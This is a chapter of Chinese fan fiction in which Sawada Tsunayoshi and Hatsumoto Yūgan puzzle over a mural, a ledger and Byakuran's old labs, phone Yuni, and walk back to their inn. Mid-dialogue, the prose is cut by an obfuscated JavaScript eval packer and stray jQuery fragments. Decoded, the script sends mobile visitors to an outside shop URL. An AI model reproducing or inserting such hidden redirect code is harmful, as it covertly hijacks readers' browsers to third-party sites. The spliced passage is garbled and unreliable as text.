初本夕颜站在那里,消化着这段话。

    白兰还活着,不是那个落败的白兰,那个在纲吉十年后的白兰已经被消灭了。

    存在于这个时代和她年龄相仿的白兰,在十年前和沢田纲吉同龄的白兰,带着另一个世界的记忆活到了现在,但是尤尼一直在看着他。

    沢田纲吉沉吟道:“但这不代表壁画里的东西是他在操控,那些实验室、培养舱和样本,它们是他过去留下的,在他还没有和其他势力发生交集的时候就已经存在了,十年后的白兰被消灭了,十年前的过去白兰也活到了现在,但他没有再去碰那些东西,或者说——”

    他停了一下,像是在斟酌一个更准确的说法。

    “他没有再去碰那些东西的立场,尤尼看着他,他自己也带着另一个世界的记忆,知道那些事情最终会导向什么,他没有理由再去碰那些东西了。”

    初本夕颜沉默了片刻。

    “那壁画里的那些信息,是谁放在那里的?是谁把它和科西莫的账本联系在一起的?”

    沢田纲吉没有立马回答,他的眉头紧紧蹙着,超直觉告诉他这不是全部的信息,还有哪里不对劲,他仔细想着;“应该是科莫西。”

    “账本是他的,那些信息被封印在石壁里,看我们今天的经历,应该是需要同时遇到火焰和异能力才能解封,但是这很奇怪,总觉得还有哪里是堵着的,不能着急下定论。”

    初本夕颜闻言,抬起右手,仔细看着右手上的纹路,这些诡谲的黑色纹路盘桓在手臂上,像是一条蛰伏的蛇。

    “我想起一件事。”她突然说。

    “嗯?”

    “账本里的照片,我母亲看起来很年轻也很健康,不像是生下我以后的照片,尽管在她生病之前也很漂亮,但是还是有些不一样。”她放下手臂,低头回忆着刚刚壁画上的母亲,冷静下来的她不得不承认,“照片应该和刚刚壁画上的母亲,是差不多时间的。”

    初本夕颜说完这句话之后,两个人都沉默了。

    夜风从橄榄树林的方向吹过来,带着独属于西西里夜晚的气息,吹动了她脸侧的碎发,她没有去拢,只是站在那里,低头看着自己的右手。

    沢田纲吉安静地听着,见过初本夕颜的母亲很多次,在并盛町那间不大的公寓里。

    在他的印象里,那个温柔的女人总是笑着的,但也是瘦弱的,像一株被风吹得弯了腰却始终没有折断的草,她看起来太普通了,普通到没有人会怀疑她身上藏着什么秘密,没人会想到她会与□□有什么关系。

    但那个女人出现在一本十五年前的账本里,也出现在一面地下室的石壁上,这是一个普通的女人不会出现在这些地方。

    “走吧,”初本夕颜最后还是说道,“先回去。”

    沢田纲吉点了点头。

    两个人沿着来时那条碎石小径往回走,手电筒的光在石子路上投下一小片明亮的圆形,随着步伐一摇一晃,他们走得不快不慢,并肩而行,肩膀之间隔着大约一个手掌的距离。

    走出几十步之后,沢田纲吉从口袋里掏出手机,屏幕的冷光在夜色中显得有些刺眼,他翻到通讯录里一个号码,按下拨出键。

    “你打给谁?”初本夕颜问。

    “尤尼。”

    他按下免提键,将手机略微举高了一些。

    嘟——嘟——嘟——

    电话接通了。

    “喂?”一个女声从听筒里传来,声音温和而清澈,带着一丝隐约的意大利口音。

    “尤尼,是我。”沢田纲吉说。

    电话那头安静了约莫一秒,像是在辨认声音。

    “沢田先生?”尤尼的声音带着一点意外,“这么晚打过来,是出什么事了吗?”

    “不算出事。”沢田纲吉直接开门见山地说,“但有个问题想问一下白兰最近有什么异常吗?”

    电话那头又安静了一瞬,这次比刚才稍长一些。

    然后尤尼开口了,声音比刚才认真了一些:“他最近很安静,一直待在他的住处,没有和外界联系,我每天都会确认他的动向,他......一直在看书。”

    “看书?”

    “嗯,最近他在看一本关于植物学的书,我不知道他是真的在看还是装模作样,但我能感觉到他没有在做任何计划,他的气场是平静的,没有波动。”

    沢田纲吉沉默了片刻:“你有没有发现他提到过什么实验室?或者提到过什么关于培养舱之类的东西?”

    “实验室?”尤尼的声音微微拔高了一些,但又很快落回正常的音调,“没有,他从来没有提起过实验室,至少在和我相处的这段时间里没有。”

    她顿了顿,像是在斟酌措辞:“沢田先生,到底发生什么事了?”

    沢田纲吉看了一眼身边的初本夕颜,然后对着话筒说:“我们找到了一些东西,关于白兰早期实验的,不确定和他现在还有没有关系,就先确认一下。”

    电话那头安静了几秒,尤尼的呼吸声通过听筒传过来,平稳而均匀。

    “如果和现在的白兰有关系,我会第一时间发现的。”她最终说,“但我可以向你保证,他现在没有在做任何危险的事,我能感觉到他身上的变化,虽然不能说已经完全变了一个人,但他在往前走。”

    “我知道了。”沢田纲吉叹了口气说道,“谢谢。”

    “不客气。,如果你需要更多信息,随时打给我。”尤尼的语气始终很柔和。

    电话挂断了。

    沢田纲吉把手机收进口袋,转过头对初本夕颜说:“不是白兰。”

    初本夕颜点了点头,她其实也不太相信那些壁画和白兰现在还有直接关系。

    毕竟一个被尤尼二十四小时盯着的人,不太可能在她眼皮底下经营一个运行了至少十年的秘密实验室。

    “那就更奇怪了。”她有些疑惑道,“如果不是白兰在操控,那那些实验室和设备是谁在维持?”

    沢田纲吉的眉头又皱了起来:“这也是我想不通的地方,壁画里的实验室看起来不是临时搭建的,那些设备和培养舱的状态都很稳定,而且很有规模,不像被废弃的样子,有人在维持它运转,但不是白兰。”

    “谁?”

    “不知道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17851404|209083||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    两个人又沉默着走了一段路,碎石在脚下发出细碎的声响,偶尔有被踩松的小石子滚落到路边的草丛里。

    他们已经快走回到小镇边缘了,远处出现了几点零星的暖黄色灯光,是主街上那几家店铺还没关的灯。

    初本夕颜在树林边缘停下来,回头看了一眼身后那条被夜色吞没的小径,教堂已经看不到了,只有远处丘陵的轮廓在月光下勾勒出一道模糊的灰蓝色线条。

    “今天的信息量太大了。”她说,声音里带着一丝疲惫,“实验室、培养舱、白兰、我母亲、还有那个在雪地里走了很久的人,哦,对了,还有亡灵和账本,我需要回去把这些东西从头到尾理一遍。”

    沢田纲吉站在她旁边,安静地听着,然后说:“我也是。”

    两个人对视了一眼,这一次谁都没有移开目光,也没有说话,只是那样站了几秒,然后初本夕颜先转开视线,迈开步子继续往前走。

    “走吧,”她笑道,“再不回去旅馆那个老板娘大概要以为我们死在教堂里了。”

    沢田纲吉跟在她身后,走了两步之后,他忽然开口说了一句让初本夕颜脚步微微一顿的话。

    “你说的那个人,在雪地里走了很久然后回头看了一眼的那个人。”

    “嗯?”

    “他回头看的那个方向,不是他来的方向。”

    初本夕颜的脚步慢了半拍,她回想了一下那个画面:大雪纷飞的荒原上,一个小小的身影,穿着褴褛的衣物,背微微弓着,在风雪中一步一步往前走,然后他停下了,转过身,看向身后,看向他来的方向。

    她当时以为那是他在确认有没有人追上来,或者只是走累了歇口气,但现在听沢田纲吉这么一说,她忽然意识到那个人的姿态不太对。

    其实如果再回想的话,那其实应该是一个人在告别。

    初本夕颜没有回头,继续往前走,但她握着手电筒的手指微微收紧了一些。

    “你说得对。”她说。

    然后两个人没有再说话,他们沿着那条通往小镇主街的小径,一前一后地走回了灯光可以照到的地方。

    主街上空无一人,旅馆的前台也空了,那个中年女人大概已经回房间休息了,前台桌面上留了一盏小灯,光很暗,刚好够照亮桌面的钥匙架和一本翻到一半的杂志。

    两人一前一后地走上楼梯,木质台阶在脚下发出吱呀的声响,走廊里的壁灯亮着,将深红色的地毯照出一种近乎褐色的暖调。

    沢田纲吉在初本夕颜的房间门口停下来,手握着钥匙,但没有立刻开门,他转过身看向她,嘴唇动了一下,像是在斟酌措辞。

    初本夕颜已经把手搭在了自己房间的门把手上,感觉到他的目光,她侧过头。

    “嗯?”

    “晚安。”他说。

    初本夕颜看着他,走廊的灯光将他的轮廓照得柔和了一些,那双深棕色的眼睛里映着壁灯暖黄色的光,比刚才在教堂里要松弛一些。

    “晚安。”她说。

    她推开门,走进去,反手将门关上,门锁发出咔嗒一声轻响。